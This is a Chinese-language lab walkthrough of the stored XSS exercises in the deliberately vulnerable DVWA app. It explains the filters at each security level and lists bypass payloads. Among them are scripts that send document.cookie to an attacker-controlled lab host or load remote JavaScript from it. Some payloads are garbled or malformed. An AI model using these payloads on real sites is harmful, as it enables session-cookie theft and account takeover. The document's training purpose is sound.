DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

存储型XSS

存储型XSS持久化,代码是存储在服芻器中的,如在个人信息或发表文章等地方,插入代码,如果没有过滤或过滤不严,那么这些代码将储存到服务器中,用户每次访问该页面的时候都会触发代码执行。这种XSS比较危险,容易造成蠕虫,盗窃 cookie

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

1、hack插入恶意js
2、服务器返回含有恶意js页面
3、由于恶意js会一直存储在服务器端,所以每个目标点击含有恶意js页面都会跳转到第三方网站

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

目录

low级别源码分析

medium级别源码分析

high级别源码分析

impossible级别源码分析


low级别源码分析

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

该源码中含有trim() 函数,作用是移除字符串两侧的空白字符或其他预定义字符。

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

(详情见:https://www.w3school.com.cn/php/func_string_trim.asp

stripslashes(string):删除字符串中的反斜杠

mysql_real_escape_string(string,connection):对字符串中的特殊符号(\x00,\n,\r,\,‘,“,\x1a)进行转义。

在输入上没有做XSS方面严格的过滤与检查,且存储在数据库中,因此存在明显的存储型XSS漏洞。

漏洞利用

跳过name一栏,直接输入message:发现name栏不能为空

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

直接嵌入:插入xss代码

发现name栏输入长度限制,可以修改max-length

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

元素事件

  • <body οnlοad=alert('xss')>
  • <a href=http://192.168.109.140>click</a>
  • <img src=http://192.168.109.140/a.jpg οnerrοr=alert('xss')>
  • < a href="οnclick=alert( 'xss')" >type</ a>

重定向

  • <script>window.location="http:/www.baidu.com</script>
  • <script>window.location='http://192.168.109.140</script
  • <iframe src='http://192.168.5.109.140/a.jpg'height=0'
  • width=0></iframe>

获取cookie

输入<script>new Image().src="http://192.168.232.130/c.php?output="+document.cookie;</script>

然后再kali中开启监听://得到cookie

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

重新开启一个标签页访问XSS(Stored),去kali也可以看到成功获得cookie信息:

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

输入<script>alert(document.cookie)</script>,直接弹窗:

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

输入<script src='http://192.168.231.130/a.js'></script>

kali开启apache服务,监听88端口://得到cookie

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用


medium级别源码分析

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

与low级别相比,增加了strip_tags()函数、htmlspecialchars()函数、addslashes()函数。

strip_tags() 函数:剥去字符串中的 HTML、XML 以及 PHP 的标签

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

(详细见:https://www.w3school.com.cn/php/func_string_strip_tags.asp

addslashes()函数:返回在预定义字符之前添加反斜杠的字符串。

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

(详情见:https://www.w3school.com.cn/php/func_string_addslashes.asp

htmlspecialchars()函数、mysqli_real_escape_string()对$message参数做了严格过滤(html实体转义以及转义SQL语句中使用的特殊字符,杜绝了对$message关于xss的利用),但对$name参数做的过滤不严格,只替换<script>以及转义SQL语句中使用的特殊字符,可以使用别的html标签对$name参数的防护进行绕过

漏洞利用

可进行script大小写绕过:<Script>alert('x')</script>

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

可进行双写绕过:<sc<script>ript>alert(/xss/)</script>

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

还可以尝试其他标签:https://blog.****.net/bul1et/article/details/86652232


high级别源码分析

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

与medium源码相比,增加了preg_replace()函数,执行一个正则表达式的搜索和替换。

对$name参数多了对<script>严格的过滤,没有对别的标签做过滤,可以通过别的html标签来进行绕过

漏洞利用

<a href='' οnclick=alert('xss')>click</a>

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用


impossible级别源码分析

DVWA系列之XSS(跨站脚本攻击)——存储型XSS源码分析及漏洞利用

与high级别相比,增加了Anti-CSRF token机制预防无脑**和PDO技术防御恶意SQL注入,无明显漏洞可利用